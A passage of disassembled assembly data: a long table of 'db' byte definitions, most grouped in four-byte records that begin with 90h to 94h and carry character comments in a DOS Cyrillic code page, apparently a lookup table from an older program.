		db  0Ah	;  
		db    1	;  
		db  90h	; ░
		db  2Ch	; ,
		db  13h	;  
		db  19h	;  
		db  90h	; ░
		db  30h	; 0
		db    1	;  
		db  0Ch	;  
		db  90h	; ░
		db    5	;  
		db    4	;  
		db  1Bh	;  
		db  90h	; ░
		db  33h	; 3
		db  0Fh	;  
		db    1	;  
		db  90h	; ░
		db  33h	; 3
		db    5	;  
		db    2	;  
		db  90h	; ░
		db  35h	; 5
		db 0FBh	; Ш
		db    2	;  
		db  90h	; ░
		db  36h	; 6
		db    3	;  
		db    2	;  
		db  90h	; ░
		db  39h	; 9
		db 0FEh	; Ч
		db  11h	;  
		db  90h	; ░
		db  39h	; 9
		db 0FEh	; Ч
		db  12h	;  
		db  90h	; ░
		db  39h	; 9
		db 0FEh	; Ч
		db  32h	; 2
		db  90h	; ░
		db  3Ah	; :
		db    1	;  
		db  0Eh	;  
		db  90h	; ░
		db  3Ah	; :
		db 0A0h	; ═
		db  8Ah	; ┼
		db  90h	; ░
		db  3Eh	; >
		db  10h	;  
		db  10h	;  
		db  90h	; ░
		db  3Fh	; ?
		db 0E0h	; Ю
		db    3	;  
		db  90h	; ░
		db  3Fh	; ?
		db 0E0h	; Ю
		db    6	;  
		db  90h	; ░
		db  41h	; A
		db  0Ah	;  
		db    1	;  
		db  90h	; ░
		db  41h	; A
		db  0Bh	;  
		db    1	;  
		db  90h	; ░
		db  49h	; I
		db  46h	; F
		db 0CDh	; м
		db  90h	; ░
		db  4Ah	; J
		db  15h	;  
		db    8	;  
		db  90h	; ░
		db  4Ah	; J
		db  16h	;  
		db    8	;  
		db  90h	; ░
		db  4Bh	; K
		db    4	;  
		db  1Ah	;  
		db  90h	; ░
		db  50h	; P
		db  80h	; ─
		db    8	;  
		db  90h	; ░
		db  51h	; Q
		db  61h	; a
		db 0C8h	; х
		db  90h	; ░
		db  52h	; R
		db  64h	; d
		db    1	;  
		db  90h	; ░
		db  52h	; R
		db  64h	; d
		db  29h	; )
		db  90h	; ░
		db  53h	; S
		db  10h	;  
		db    8	;  
		db  90h	; ░
		db  53h	; S
		db  10h	;  
		db    9	;  
		db  90h	; ░
		db  55h	; U
		db  0Ah	;  
		db  5Ah	; Z
		db  90h	; ░
		db  55h	; U
		db  14h	;  
		db  1Eh	;  
		db  90h	; ░
		db  56h	; V
		db    1	;  
		db    1	;  
		db  90h	; ░
		db  59h	; Y
		db  28h	; (
		db    1	;  
		db  90h	; ░
		db    9	;  
		db  9Eh	; ·
		db  4Dh	; M
		db  90h	; ░
		db    9	;  
		db  9Eh	; ·
		db  4Eh	; N
		db  90h	; ░
		db  5Ah	; Z
		db  80h	; ─
		db    3	;  
		db  90h	; ░
		db  5Ch	; \
		db  68h	; h
		db  14h	;  
		db  90h	; ░
		db  5Ch	; \
		db  68h	; h
		db  15h	;  
		db  90h	; ░
		db  5Ch	; \
		db  14h	;  
		db  63h	; c
		db  90h	; ░
		db  5Ch	; \
		db    9	;  
		db  15h	;  
		db  90h	; ░
		db  5Ch	; \
		db    9	;  
		db  16h	;  
		db  90h	; ░
		db  5Fh	; _
		db    0	;  
		db  3Eh	; >
		db  90h	; ░
		db  60h	; `
		db 0C0h	; ю
		db 0C0h	; ю
		db  91h	; ▒
		db    1	;  
		db    1	;  
		db  10h	;  
		db  91h	; ▒
		db    1	;  
		db    1	;  
		db    3	;  
		db  91h	; ▒
		db  64h	; d
		db    5	;  
		db  1Eh	;  
		db  91h	; ▒
		db  75h	; u
		db  20h	;  
		db    3	;  
		db  91h	; ▒
		db  75h	; u
		db  20h	;  
		db    4	;  
		db  91h	; ▒
		db  0Ch	;  
		db  0Ah	;  
		db    1	;  
		db  91h	; ▒
		db  0Dh	;  
		db  2Ah	; *
		db    5	;  
		db  91h	; ▒
		db  0Eh	;  
		db  3Ch	; <
		db  0Ah	;  
		db  91h	; ▒
		db  12h	;  
		db  44h	; D
		db  32h	; 2
		db  91h	; ▒
		db  13h	;  
		db    1	;  
		db    1	;  
		db  91h	; ▒
		db  13h	;  
		db    1	;  
		db 0DCh	; э
		db  91h	; ▒
		db    2	;  
		db 0D7h	; в
		db  15h	;  
		db  91h	; ▒
		db  14h	;  
		db  7Eh	; ~
		db  0Ch	;  
		db  91h	; ▒
		db 0E1h	; А
		db  4Bh	; K
		db 0F3h	; С
		db  91h	; ▒
		db 0E4h	; Д
		db    1	;  
		db    2	;  
		db  91h	; ▒
		db 0E5h	; Е
		db  9Ch	; °
		db    2	;  
		db  91h	; ▒
		db 0E8h	; Х
		db 0FDh	; Щ
		db  0Ah	;  
		db  91h	; ▒
		db 0EAh	; Й
		db 0FDh	; Щ
		db 0FDh	; Щ
		db  91h	; ▒
		db 0ECh	; Л
		db 0E0h	; Ю
		db 0F8h	; Ь
		db  91h	; ▒
		db 0ECh	; Л
		db 0E0h	; Ю
		db 0F9h	; Ы
		db  91h	; ▒
		db 0EDh	; М
		db 0EDh	; М
		db    1	;  
		db  91h	; ▒
		db 0EEh	; Н
		db    2	;  
		db    2	;  
		db  91h	; ▒
		db 0F9h	; Ы
		db    1	;  
		db  14h	;  
		db  91h	; ▒
		db 0FDh	; Щ
		db    2	;  
		db  0Bh	;  
		db  91h	; ▒
		db 0FDh	; Щ
		db    2	;  
		db  8Bh	; ▀
		db  91h	; ▒
		db 0FDh	; Щ
		db    2	;  
		db 0CBh	; к
		db  91h	; ▒
		db 0FDh	; Щ
		db    2	;  
		db  4Bh	; K
		db  91h	; ▒
		db  1Ch	;  
		db  46h	; F
		db 0FDh	; Щ
		db  91h	; ▒
		db  1Dh	;  
		db  82h	; ┌
		db    1	;  
		db  91h	; ▒
		db    3	;  
		db    1	;  
		db    1	;  
		db  91h	; ▒
		db    3	;  
		db    1	;  
		db    4	;  
		db  91h	; ▒
		db  1Eh	;  
		db 0A0h	; ═
		db  86h	; ├
		db  91h	; ▒
		db  1Eh	;  
		db 0A0h	; ═
		db  8Ah	; ┼
		db  91h	; ▒
		db  21h	; !
		db    4	;  
		db 0FDh	; Щ
		db  91h	; ▒
		db  29h	; )
		db    1	;  
		db 0A7h	; ї
		db  91h	; ▒
		db  2Ch	; ,
		db 0D2h	; р
		db    7	;  
		db  91h	; ▒
		db  34h	; 4
		db    2	;  
		db    5	;  
		db  91h	; ▒
		db  34h	; 4
		db    2	;  
		db    6	;  
		db  91h	; ▒
		db  3Ah	; :
		db  1Eh	;  
		db    2	;  
		db  91h	; ▒
		db  3Dh	; =
		db  1Ah	;  
		db    1	;  
		db  91h	; ▒
		db  3Eh	; >
		db    1	;  
		db    2	;  
		db  91h	; ▒
		db  40h	; @
		db  80h	; ─
		db    3	;  
		db  91h	; ▒
		db  42h	; B
		db    4	;  
		db  0Ch	;  
		db  91h	; ▒
		db  45h	; E
		db  27h	; '
		db 0E6h	; Ф
		db  91h	; ▒
		db  48h	; H
		db  4Fh	; O
		db 0DEh	; ч
		db  91h	; ▒
		db  4Ah	; J
		db  67h	; g
		db  0Ah	;  
		db  91h	; ▒
		db  4Dh	; M
		db  67h	; g
		db    2	;  
		db  91h	; ▒
		db  4Dh	; M
		db  67h	; g
		db    4	;  
		db  91h	; ▒
		db  51h	; Q
		db    8	;  
		db  14h	;  
		db  91h	; ▒
		db  55h	; U
		db    2	;  
		db    2	;  
		db  91h	; ▒
		db  58h	; X
		db 0D2h	; р
		db 0EAh	; Й
		db  91h	; ▒
		db  59h	; Y
		db 0EAh	; Й
		db    3	;  
		db  91h	; ▒
		db  59h	; Y
		db  26h	; &
		db    3	;  
		db  91h	; ▒
		db    9	;  
		db  83h	; ┐
		db 0CBh	; к
		db  91h	; ▒
		db  5Bh	; [
		db  90h	; ░
		db    6	;  
		db  91h	; ▒
		db  5Ch	; \
		db  12h	;  
		db    2	;  
		db  91h	; ▒
		db  5Dh	; ]
		db 0D2h	; р
		db 0FDh	; Щ
		db  92h	; ▓
		db  66h	; f
		db  10h	;  
		db    1	;  
		db  92h	; ▓
		db  66h	; f
		db  10h	;  
		db    2	;  
		db  92h	; ▓
		db  67h	; g
		db 0FEh	; Ч
		db  0Ch	;  
		db  92h	; ▓
		db  6Bh	; k
		db    1	;  
		db  0Bh	;  
		db  92h	; ▓
		db  6Bh	; k
		db  65h	; e
		db  0Bh	;  
		db  92h	; ▓
		db  6Ch	; l
		db 0C8h	; х
		db 0C8h	; х
		db  92h	; ▓
		db  6Eh	; n
		db    2	;  
		db    2	;  
		db  92h	; ▓
		db  71h	; q
		db  20h	;  
		db    2	;  
		db  92h	; ▓
		db  71h	; q
		db  20h	;  
		db    6	;  
		db  92h	; ▓
		db  73h	; s
		db    8	;  
		db  11h	;  
		db  92h	; ▓
		db  73h	; s
		db    8	;  
		db  12h	;  
		db  92h	; ▓
		db  74h	; t
		db    1	;  
		db    2	;  
		db  92h	; ▓
		db  74h	; t
		db    1	;  
		db    5	;  
		db  92h	; ▓
		db  7Ah	; z
		db  84h	; └
		db 0C3h	; ц
		db  92h	; ▓
		db  7Ch	; |
		db  8Dh	; █
		db 0FAh	; З
		db  92h	; ▓
		db  7Eh	; ~
		db    2	;  
		db    1	;  
		db  92h	; ▓
		db  7Eh	; ~
		db  56h	; V
		db    1	;  
		db  92h	; ▓
		db  81h	; │
		db  64h	; d
		db  83h	; ┐
		db  92h	; ▓
		db  84h	; └
		db 0EAh	; Й
		db 0A0h	; ═
		db  92h	; ▓
		db  85h	; ┘
		db    2	;  
		db  14h	;  
		db  92h	; ▓
		db  85h	; ┘
		db    2	;  
		db  15h	;  
		db  92h	; ▓
		db  86h	; ├
		db    8	;  
		db 0A0h	; ═
		db  92h	; ▓
		db  88h	; ┬
		db    1	;  
		db    3	;  
		db  92h	; ▓
		db  88h	; ┬
		db    1	;  
		db    5	;  
		db  92h	; ▓
		db  89h	; ┴
		db  40h	; @
		db    5	;  
		db  92h	; ▓
		db  8Bh	; ▀
		db 0FEh	; Ч
		db    3	;  
		db  92h	; ▓
		db  8Dh	; █
		db  0Fh	;  
		db 0D2h	; р
		db  92h	; ▓
		db  8Dh	; █
		db  10h	;  
		db  86h	; ├
		db  92h	; ▓
		db  8Eh	; ▌
		db    4	;  
		db  0Dh	;  
		db  92h	; ▓
		db  91h	; ▒
		db  40h	; @
		db    2	;  
		db  92h	; ▓
		db  91h	; ▒
		db  40h	; @
		db    3	;  
		db  92h	; ▓
		db  97h	; ≈
		db  35h	; 5
		db    3	;  
		db  92h	; ▓
		db  98h	; ≤
		db 0E4h	; Д
		db    9	;  
		db  92h	; ▓
		db  99h	; ≥
		db  90h	; ░
		db  1Eh	;  
		db  92h	; ▓
		db  9Bh	; ⌡
		db    1	;  
		db  9Bh	; ⌡
		db  92h	; ▓
		db  9Bh	; ⌡
		db    1	;  
		db  45h	; E
		db  92h	; ▓
		db  9Dh	; ²
		db  50h	; P
		db    3	;  
		db  92h	; ▓
		db 0A3h	; ё
		db    5	;  
		db  1Dh	;  
		db  92h	; ▓
		db 0A3h	; ё
		db    5	;  
		db    3	;  
		db  92h	; ▓
		db 0A3h	; ё
		db    5	;  
		db    4	;  
		db  92h	; ▓
		db 0A4h	; є
		db  0Ah	;  
		db    2	;  
		db  92h	; ▓
		db 0A4h	; є
		db    8	;  
		db    3	;  
		db  92h	; ▓
		db 0A5h	; ╔
		db    1	;  
		db    9	;  
		db  92h	; ▓
		db 0A7h	; ї
		db  81h	; │
		db    1	;  
		db  92h	; ▓
		db 0A7h	; ї
		db  91h	; ▒
		db    1	;  
		db  92h	; ▓
		db 0A9h	; ╘
		db    1	;  
		db    1	;  
		db  92h	; ▓
		db 0A9h	; ╘
		db    1	;  
		db  18h	;  
		db  92h	; ▓
		db 0ABh	; ╚
		db  0Eh	;  
		db  65h	; e
		db  92h	; ▓
		db 0ABh	; ╚
		db  0Eh	;  
		db  66h	; f
		db  92h	; ▓
		db 0AFh	; ╞
		db  81h	; │
		db    1	;  
		db  92h	; ▓
		db 0AFh	; ╞
		db  81h	; │
		db    3	;  
		db  92h	; ▓
		db 0B0h	; ╟
		db    1	;  
		db    5	;  
		db  92h	; ▓
		db 0B0h	; ╟
		db    2	;  
		db    5	;  
		db  92h	; ▓
		db 0B4h	; Є
		db    1	;  
		db  0Ah	;  
		db  92h	; ▓
		db 0B6h	; І
		db    9	;  
		db  0Ch	;  
		db  92h	; ▓
		db 0BAh	; ╨
		db 0A3h	; ё
		db  42h	; B
		db  92h	; ▓
		db 0BAh	; ╨
		db    4	;  
		db    4	;  
		db  92h	; ▓
		db 0BBh	; ╩
		db 0D8h	; ь
		db    3	;  
		db  92h	; ▓
		db 0BBh	; ╩
		db 0E0h	; Ю
		db    9	;  
		db  92h	; ▓
		db  13h	;  
		db    2	;  
		db    1	;  
		db  92h	; ▓
		db 0BFh	; ©
		db    7	;  
		db    3	;  
		db  92h	; ▓
		db 0C1h	; а
		db    0	;  
		db    1	;  
		db  92h	; ▓
		db 0C3h	; ц
		db  50h	; P
		db  1Eh	;  
		db  92h	; ▓
		db 0C5h	; е
		db  1Bh	;  
		db  0Ah	;  
		db  92h	; ▓
		db 0C5h	; е
		db  1Bh	;  
		db  0Bh	;  
		db  92h	; ▓
		db    2	;  
		db 0B5h	; ╣
		db  65h	; e
		db  92h	; ▓
		db 0CAh	; й
		db    0	;  
		db    2	;  
		db  92h	; ▓
		db 0CBh	; к
		db    1	;  
		db 0C8h	; х
		db  92h	; ▓
		db 0D5h	; у
		db  0Ah	;  
		db  1Eh	;  
		db  92h	; ▓
		db 0D9h	; ы
		db  0Fh	;  
		db 0FEh	; Ч
		db  92h	; ▓
		db 0DBh	; ш
		db  16h	;  
		db  83h	; ┐
		db  92h	; ▓
		db 0DCh	; э
		db 0EFh	; О
		db  0Ah	;  
		db  92h	; ▓
		db 0DEh	; ч
		db  78h	; x
		db  15h	;  
		db  92h	; ▓
		db 0DEh	; ч
		db    7	;  
		db  14h	;  
		db  92h	; ▓
		db 0E2h	; Б
		db    2	;  
		db    1	;  
		db  92h	; ▓
		db 0E3h	; Ц
		db    1	;  
		db    4	;  
		db  92h	; ▓
		db 0E4h	; Д
		db  0Ah	;  
		db  10h	;  
		db  92h	; ▓
		db 0E5h	; Е
		db    1	;  
		db    2	;  
		db  92h	; ▓
		db 0E7h	; Г
		db  80h	; ─
		db    1	;  
		db  92h	; ▓
		db 0E7h	; Г
		db  80h	; ─
		db    6	;  
		db  92h	; ▓
		db 0F5h	; У
		db    2	;  
		db  97h	; ≈
		db  92h	; ▓
		db 0F6h	; Ж
		db 0FAh	; З
		db    1	;  
		db  92h	; ▓
		db 0F9h	; Ы
		db 0FEh	; Ч
		db  41h	; A
		db  92h	; ▓
		db 0F9h	; Ы
		db 0FEh	; Ч
		db  42h	; B
		db  92h	; ▓
		db  30h	; 0
		db  41h	; A
		db    2	;  
		db  92h	; ▓
		db  30h	; 0
		db  41h	; A
		db    3	;  
		db  92h	; ▓
		db    5	;  
		db    2	;  
		db    1	;  
		db  92h	; ▓
		db  3Bh	; ;
		db  50h	; P
		db    2	;  
		db  92h	; ▓
		db    6	;  
		db  3Eh	; >
		db    1	;  
		db  92h	; ▓
		db  3Fh	; ?
		db 0EAh	; Й
		db    5	;  
		db  92h	; ▓
		db  3Fh	; ?
		db 0F2h	; Р
		db    6	;  
		db  92h	; ▓
		db  40h	; @
		db  0Ah	;  
		db  0Bh	;  
		db  92h	; ▓
		db  40h	; @
		db  0Ah	;  
		db 0A6h	; і
		db  92h	; ▓
		db  41h	; A
		db 0E9h	; И
		db  17h	;  
		db  92h	; ▓
		db    7	;  
		db    7	;  
		db  4Dh	; M
		db  92h	; ▓
		db    7	;  
		db    8	;  
		db  58h	; X
		db  92h	; ▓
		db  4Ah	; J
		db    1	;  
		db  41h	; A
		db  92h	; ▓
		db  4Bh	; K
		db 0FEh	; Ч
		db    1	;  
		db  92h	; ▓
		db  53h	; S
		db 0B7h	; Ї
		db  5Eh	; ^
		db  92h	; ▓
		db  53h	; S
		db 0C6h	; ф
		db    3	;  
		db  92h	; ▓
		db  55h	; U
		db    1	;  
		db  32h	; 2
		db  92h	; ▓
		db  56h	; V
		db    1	;  
		db    2	;  
		db  92h	; ▓
		db  56h	; V
		db    1	;  
		db 0C8h	; х
		db  92h	; ▓
		db  57h	; W
		db 0FFh	;  
		db  3Ch	; <
		db  92h	; ▓
		db  57h	; W
		db    3	;  
		db    2	;  
		db  92h	; ▓
		db  58h	; X
		db    1	;  
		db    4	;  
		db  92h	; ▓
		db  5Eh	; ^
		db    1	;  
		db    2	;  
		db  92h	; ▓
		db  5Fh	; _
		db    1	;  
		db  0Ch	;  
		db  92h	; ▓
		db  60h	; `
		db  80h	; ─
		db  64h	; d
		db  92h	; ▓
		db  60h	; `
		db  80h	; ─
		db    9	;  
		db  92h	; ▓
		db  63h	; c
		db    4	;  
		db  2Ch	; ,
		db  93h	; ⌠
		db  66h	; f
		db 0DEh	; ч
		db 0D2h	; р
		db  93h	; ⌠
		db  66h	; f
		db 0DEh	; ч
		db 0DCh	; э
		db  93h	; ⌠
		db  66h	; f
		db 0DEh	; ч
		db 0E6h	; Ф
		db  93h	; ⌠
		db  6Ah	; j
		db    1	;  
		db    5	;  
		db  93h	; ⌠
		db  6Dh	; m
		db 0EEh	; Н
		db    5	;  
		db  93h	; ⌠
		db  6Eh	; n
		db  3Bh	; ;
		db  37h	; 7
		db  93h	; ⌠
		db  71h	; q
		db  92h	; ▓
		db    4	;  
		db  93h	; ⌠
		db  71h	; q
		db  92h	; ▓
		db    5	;  
		db  93h	; ⌠
		db  78h	; x
		db  6Eh	; n
		db  0Ah	;  
		db  93h	; ⌠
		db  7Ah	; z
		db    1	;  
		db  0Ah	;  
		db  93h	; ⌠
		db  7Ah	; z
		db    1	;  
		db  0Bh	;  
		db  93h	; ⌠
		db  7Bh	; {
		db    1	;  
		db  16h	;  
		db  93h	; ⌠
		db  7Bh	; {
		db    1	;  
		db  17h	;  
		db  93h	; ⌠
		db  7Ch	; |
		db    1	;  
		db 0C8h	; х
		db  93h	; ⌠
		db  7Ch	; |
		db    1	;  
		db 0C9h	; и
		db  93h	; ⌠
		db  7Dh	; }
		db  63h	; c
		db  3Ch	; <
		db  93h	; ⌠
		db  7Dh	; }
		db  63h	; c
		db  42h	; B
		db  93h	; ⌠
		db  7Eh	; ~
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db  7Eh	; ~
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db  7Eh	; ~
		db 0F0h	; П
		db    1	;  
		db  93h	; ⌠
		db  7Eh	; ~
		db 0F0h	; П
		db    2	;  
		db  93h	; ⌠
		db  7Fh	; 
		db  10h	;  
		db  0Bh	;  
		db  93h	; ⌠
		db  7Fh	; 
		db  12h	;  
		db  90h	; ░
		db  93h	; ⌠
		db  81h	; │
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db  0Dh	;  
		db 0C8h	; х
		db    1	;  
		db  93h	; ⌠
		db  85h	; ┘
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db  86h	; ├
		db    2	;  
		db  0Fh	;  
		db  93h	; ⌠
		db  88h	; ┬
		db 0FAh	; З
		db 0FAh	; З
		db  93h	; ⌠
		db  88h	; ┬
		db 0FCh	; Э
		db  32h	; 2
		db  93h	; ⌠
		db  89h	; ┴
		db    1	;  
		db    7	;  
		db  93h	; ⌠
		db  8Ah	; ┼
		db  0Ah	;  
		db  1Eh	;  
		db  93h	; ⌠
		db  8Ah	; ┼
		db  0Ah	;  
		db  28h	; (
		db  93h	; ⌠
		db  8Bh	; ▀
		db  81h	; │
		db    1	;  
		db  93h	; ⌠
		db  0Eh	;  
		db  0Ah	;  
		db 0A7h	; ї
		db  93h	; ⌠
		db  8Ch	; ▄
		db  80h	; ─
		db  4Fh	; O
		db  93h	; ⌠
		db  8Fh	; ▐
		db    2	;  
		db    1	;  
		db  93h	; ⌠
		db  90h	; ░
		db    3	;  
		db 0EEh	; Н
		db  93h	; ⌠
		db  91h	; ▒
		db  28h	; (
		db    2	;  
		db  93h	; ⌠
		db  99h	; ≥
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db  99h	; ≥
		db    1	;  
		db    3	;  
		db  93h	; ⌠
		db  9Ah	;  
		db    7	;  
		db 0CAh	; й
		db  93h	; ⌠
		db  9Bh	; ⌡
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db  9Dh	; ²
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db  9Dh	; ²
		db  82h	; ┌
		db    1	;  
		db  93h	; ⌠
		db  9Dh	; ²
		db    2	;  
		db    1	;  
		db  93h	; ⌠
		db 0A0h	; ═
		db  80h	; ─
		db  0Ah	;  
		db  93h	; ⌠
		db 0A0h	; ═
		db  80h	; ─
		db  0Bh	;  
		db  93h	; ⌠
		db 0A0h	; ═
		db  63h	; c
		db  23h	; #
		db  93h	; ⌠
		db 0A1h	; ║
		db    1	;  
		db    4	;  
		db  93h	; ⌠
		db 0A2h	; ╒
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db 0A2h	; ╒
		db  64h	; d
		db 0B4h	; Є
		db  93h	; ⌠
		db 0A2h	; ╒
		db    2	;  
		db  64h	; d
		db  93h	; ⌠
		db 0A3h	; ё
		db    1	;  
		db  16h	;  
		db  93h	; ⌠
		db 0ACh	; ╛
		db  10h	;  
		db  29h	; )
		db  93h	; ⌠
		db 0ADh	; ґ
		db    1	;  
		db  1Ah	;  
		db  93h	; ⌠
		db 0AEh	; ў
		db    1	;  
		db    4	;  
		db  93h	; ⌠
		db 0AEh	; ў
		db    1	;  
		db    5	;  
		db  93h	; ⌠
		db 0AFh	; ╞
		db  6Fh	; o
		db  0Fh	;  
		db  93h	; ⌠
		db 0B2h	; ╡
		db    1	;  
		db    5	;  
		db  93h	; ⌠
		db 0B2h	; ╡
		db    1	;  
		db  34h	; 4
		db  93h	; ⌠
		db 0B6h	; І
		db    5	;  
		db  0Ah	;  
		db  93h	; ⌠
		db 0BAh	; ╨
		db 0DBh	; ш
		db  41h	; A
		db  93h	; ⌠
		db 0BCh	; ╪
		db  80h	; ─
		db    2	;  
		db  93h	; ⌠
		db 0BCh	; ╪
		db 0C0h	; ю
		db    4	;  
		db  93h	; ⌠
		db 0BFh	; ©
		db    2	;  
		db  43h	; C
		db  93h	; ⌠
		db 0C4h	; д
		db  45h	; E
		db    8	;  
		db  93h	; ⌠
		db 0C5h	; е
		db 0C8h	; х
		db    2	;  
		db  93h	; ⌠
		db 0C5h	; е
		db 0C8h	; х
		db  2Ch	; ,
		db  93h	; ⌠
		db 0CDh	; м
		db  55h	; U
		db  82h	; ┌
		db  93h	; ⌠
		db 0CEh	; н
		db    5	;  
		db    1	;  
		db  93h	; ⌠
		db 0D0h	; п
		db 0A3h	; ё
		db  14h	;  
		db  93h	; ⌠
		db 0D0h	; п
		db 0A3h	; ё
		db  15h	;  
		db  93h	; ⌠
		db 0D0h	; п
		db    3	;  
		db  14h	;  
		db  93h	; ⌠
		db 0D0h	; п
		db    3	;  
		db  15h	;  
		db  93h	; ⌠
		db 0D1h	; я
		db  8Eh	; ▌
		db    2	;  
		db  93h	; ⌠
		db  15h	;  
		db    2	;  
		db  0Ch	;  
		db  93h	; ⌠
		db  15h	;  
		db    2	;  
		db  0Eh	;  
		db  93h	; ⌠
		db 0D2h	; р
		db 0FDh	; Щ
		db    1	;  
		db  93h	; ⌠
		db 0D3h	; с
		db  32h	; 2
		db  0Ch	;  
		db  93h	; ⌠
		db 0D3h	; с
		db  32h	; 2
		db  0Fh	;  
		db  93h	; ⌠
		db 0D5h	; у
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db 0D7h	; в
		db    1	;  
		db    4	;  
		db  93h	; ⌠
		db 0E1h	; А
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db 0E1h	; А
		db  16h	;  
		db  29h	; )
		db  93h	; ⌠
		db 0E1h	; А
		db  16h	;  
		db  5Eh	; ^
		db  93h	; ⌠
		db 0E1h	; А
		db  30h	; 0
		db  0Dh	;  
		db  93h	; ⌠
		db 0E4h	; Д
		db    1	;  
		db  0Ah	;  
		db  93h	; ⌠
		db 0E4h	; Д
		db  34h	; 4
		db  13h	;  
		db  93h	; ⌠
		db 0E6h	; Ф
		db  10h	;  
		db    1	;  
		db  93h	; ⌠
		db 0E7h	; Г
		db  0Ch	;  
		db    1	;  
		db  93h	; ⌠
		db 0E8h	; Х
		db  10h	;  
		db  0Ch	;  
		db  93h	; ⌠
		db 0F9h	; Ы
		db  0Ah	;  
		db    3	;  
		db  93h	; ⌠
		db 0FBh	; Ш
		db    4	;  
		db  21h	; !
		db  93h	; ⌠
		db 0FBh	; Ш
		db    6	;  
		db  0Ah	;  
		db  93h	; ⌠
		db 0FCh	; Э
		db    1	;  
		db  25h	; %
		db  93h	; ⌠
		db 0FDh	; Щ
		db  0Ah	;  
		db  0Bh	;  
		db  93h	; ⌠
		db 0FDh	; Щ
		db  0Ah	;  
		db  28h	; (
		db  93h	; ⌠
		db 0FDh	; Щ
		db  0Ah	;  
		db  2Fh	; /
		db  93h	; ⌠
		db  1Ah	;  
		db    1	;  
		db  0Bh	;  
		db  93h	; ⌠
		db  1Bh	;  
		db  12h	;  
		db    1	;  
		db  93h	; ⌠
		db  1Ch	;  
		db    0	;  
		db  22h	; "
		db  93h	; ⌠
		db  1Ch	;  
		db    0	;  
		db  27h	; '
		db  93h	; ⌠
		db  1Dh	;  
		db  0Ah	;  
		db  37h	; 7
		db  93h	; ⌠
		db  1Dh	;  
		db  0Ah	;  
		db    6	;  
		db  93h	; ⌠
		db  1Fh	;  
		db  50h	; P
		db  0Ah	;  
		db  93h	; ⌠
		db  1Fh	;  
		db  58h	; X
		db  11h	;  
		db  93h	; ⌠
		db  20h	;  
		db    1	;  
		db  14h	;  
		db  93h	; ⌠
		db  20h	;  
		db    1	;  
		db    9	;  
		db  93h	; ⌠
		db  21h	; !
		db  0Fh	;  
		db    5	;  
		db  93h	; ⌠
		db  29h	; )
		db  40h	; @
		db  36h	; 6
		db  93h	; ⌠
		db  29h	; )
		db  40h	; @
		db  3Ch	; <
		db  93h	; ⌠
		db  29h	; )
		db  40h	; @
		db  3Dh	; =
		db  93h	; ⌠
		db  2Dh	; -
		db  0Fh	;  
		db  22h	; "
		db  93h	; ⌠
		db  2Dh	; -
		db  0Fh	;  
		db  23h	; #
		db  93h	; ⌠
		db  2Eh	; .
		db  50h	; P
		db    1	;  
		db  93h	; ⌠
		db  31h	; 1
		db  32h	; 2
		db  34h	; 4
		db  93h	; ⌠
		db  34h	; 4
		db  50h	; P
		db    1	;  
		db  93h	; ⌠
		db  35h	; 5
		db    6	;  
		db  32h	; 2
		db  93h	; ⌠
		db  37h	; 7
		db  30h	; 0
		db  20h	;  
		db  93h	; ⌠
		db  37h	; 7
		db  60h	; `
		db  20h	;  
		db  93h	; ⌠
		db  38h	; 8
		db  56h	; V
		db    4	;  
		db  93h	; ⌠
		db    6	;  
		db  72h	; r
		db  42h	; B
		db  93h	; ⌠
		db  40h	; @
		db  20h	;  
		db    6	;  
		db  93h	; ⌠
		db  41h	; A
		db    1	;  
		db    3	;  
		db  93h	; ⌠
		db  42h	; B
		db    8	;  
		db    1	;  
		db  93h	; ⌠
		db  46h	; F
		db    8	;  
		db    8	;  
		db  93h	; ⌠
		db  4Ch	; L
		db 0B4h	; Є
		db    1	;  
		db  93h	; ⌠
		db    8	;  
		db  91h	; ▒
		db  1Eh	;  
		db  93h	; ⌠
		db    8	;  
		db  91h	; ▒
		db  20h	;  
		db  93h	; ⌠
		db    8	;  
		db    2	;  
		db    2	;  
		db  93h	; ⌠
		db    8	;  
		db    2	;  
		db    3	;  
		db  93h	; ⌠
		db  50h	; P
		db    8	;  
		db    2	;  
		db  93h	; ⌠
		db  50h	; P
		db  63h	; c
		db    6	;  
		db  93h	; ⌠
		db  51h	; Q
		db 0F0h	; П
		db    1	;  
		db  93h	; ⌠
		db  51h	; Q
		db 0F0h	; П
		db    3	;  
		db  93h	; ⌠
		db  53h	; S
		db    2	;  
		db  0Ah	;  
		db  93h	; ⌠
		db  53h	; S
		db    2	;  
		db    3	;  
		db  93h	; ⌠
		db  54h	; T
		db 0C8h	; х
		db 0F0h	; П
		db  93h	; ⌠
		db  56h	; V
		db  80h	; ─
		db  14h	;  
		db  93h	; ⌠
		db  56h	; V
		db  80h	; ─
		db  15h	;  
		db  93h	; ⌠
		db  57h	; W
		db    1	;  
		db    1	;  
		db  93h	; ⌠
		db  57h	; W
		db    1	;  
		db    2	;  
		db  93h	; ⌠
		db  58h	; X
		db    1	;  
		db 0C9h	; и
		db  93h	; ⌠
		db  58h	; X
		db    1	;  
		db 0CCh	; л
		db  93h	; ⌠
		db    9	;  
		db    1	;  
		db    9	;  
		db  93h	; ⌠
		db  5Bh	; [
		db    1	;  
		db    5	;  
		db  93h	; ⌠
		db  5Bh	; [
		db    8	;  
		db    6	;  
		db  93h	; ⌠
		db  5Ch	; \
		db    3	;  
		db  0Fh	;  
		db  93h	; ⌠
		db  5Ch	; \
		db    3	;  
		db  14h	;  
		db  93h	; ⌠
		db  5Eh	; ^
		db  1Eh	;  
		db  27h	; '
		db  93h	; ⌠
		db  60h	; `
		db    2	;  
		db    4	;  
		db  93h	; ⌠
		db  61h	; a
		db    1	;  
		db  0Ah	;  
		db  93h	; ⌠
		db  62h	; b
		db    7	;  
		db    1	;  
		db  93h	; ⌠
		db  62h	; b
		db    7	;  
		db    2	;  
		db  94h	; ■
		db  64h	; d
		db 0A0h	; ═
		db  64h	; d
		db  94h	; ■
		db  64h	; d
		db  20h	;  
		db  28h	; (
		db  94h	; ■
		db  6Ch	; l
		db    1	;  
		db    2	;  
		db  94h	; ■
		db  6Fh	; o
		db  0Dh	;  
		db  1Eh	;  
